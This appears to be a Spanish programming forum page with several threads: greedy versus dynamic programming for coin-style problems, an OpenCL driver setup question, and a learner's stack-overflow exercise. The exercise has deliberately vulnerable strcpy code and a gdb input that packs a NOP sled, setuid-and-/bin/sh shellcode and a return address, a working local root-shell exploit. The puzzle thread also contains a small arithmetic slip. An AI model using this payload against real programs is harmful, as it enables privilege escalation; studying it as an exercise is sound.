Temas

¿Por qué el problema de la moneda no se soluciona con Greedy? y sí con Programación dinámica?

¿Cuál sería un contraejemplo para el algoritmo greedy?

Código vulnerable:

Código (c) [Seleccionar] Expandir

#include <stdio.h>
#include <string.h>

int main (int argc, char **argv){

char buffer[500];
strcpy(buffer, argv[1]);

puts (buffer);

return 0;
}


Probamos con esta y la dirección del rip queda apuntando a la mitad del tamaño del buffer (dicen que se hace así):
Lo corrimos con gdb con esta entrada

Código [Seleccionar] Expandir

r `perl -e 'print "\x90"x439 . "\x31\xc0\x99\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x89\xc2\x31\xc0\xb0\xa4\xcd\x80\x31\xc0\x99\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" . "\xff\xff\x64\xcd"x10'`


Primero lo llenamos de NOP's luego la shellcode más la dirección de retorno, cabe aclarar estamos en un sistema de 32 bits.

Pero no logramos ejecutar la shellcode, ¿qué estamos haciendo mal?


SOLUCIONADO: Tenía que compilar con -z execstack

Hola.

Este es un problema de optimización parecido al problema de las monedas.

El juego es así, dado un n:

                · Si n es divisible por 3, n = n/3
                · SI n es divisible por 2, n = n/2
                · Si no cumple las anteriores, n = n -1 .

Ahora lo que tengo que conseguir es el menor número de operaciones posibles.

Si nosotros lo pensamos así:

Código (c) [Seleccionar] Expandir


void juego (int n){

        if (n == 1) return ;

        if (n%3 == 0){
                juego(n/3);
                printf ("Op.3\n");
        }
        else if (n%2 == 0){
                juego(n/2);
                printf ("Op.2\n");
        }
        else{
                juego(n-1);
                printf ("Op.1\n");
        }
}


No conseguiríamos el óptimo, ya que si por ejemplo pongo 10
El resultado es:

Código [Seleccionar] Expandir

10/2 = 5
5-1   = 4
4/2   = 2
2/2   = 1

Utilicé 4 monedas para resolver el problema, cuando en realidad la solución óptima es:

Código [Seleccionar] Expandir

10-1 = 9
9/3   = 3
3/3   = 3

Estoy intentando de resolver el óptimo algoritmo todavía estoy pensando, pero cualquier respuesta me vendría bien.


Saludos.

[R7 250X]

¡Buenas!

Estoy intentando empezar con OpenCL, obviamente que al compilar un programa que trabaja con OpenCL, obtengo que no se encuentra la librería. Leyendo lo que encontré es que tengo que instalar el controlador de mi tarjeta gráfica el problema, es que simplemente no puedo instalarlo.

Tengo una R7 250X, y estoy en Ubuntu 14 antes usaba el 16 pero pensé que cambiadome a Ubuntu 14 compilaría el driver, ... y no fue el caso.
Los bajé de acá http://support.amd.com/en-us/download, pero no compilan, recuerdo que uno lo hice compilar pero cuando iniciaba sesión me volvía a pedir la contraseña, es decir no iniciaba la sesión


¿Qué podría intentar hacer? Ya probé varias cosas.

Estos son los códigos que intento compilar:

Código [Seleccionar] Expandir

wget https://svn.dcc.fceia.unr.edu.ar/svn/lcc/R-222/Public/c%C3%B3digo/opencl/Makefile
wget https://svn.dcc.fceia.unr.edu.ar/svn/lcc/R-222/Public/c%C3%B3digo/opencl/hello_world.c
Luego make

Código [Seleccionar] Expandir

Output:
hello_world.c:3:23: fatal error: CL/opencl.h: No existe el archivo o el directorio


Y diganme que les tira.

¿Estoy pensando algo mal? Debería ser más fácil esto, ¿necesito instalar algo?, estoy perdido.

Estaba leyendo esto: http://stackoverflow.com/questions/7542808/what-is-needed-to-compile-opencl-on-ubuntu-and-by-extension-opencl-period , pero no me sirvió tampoco.


¡Saludos!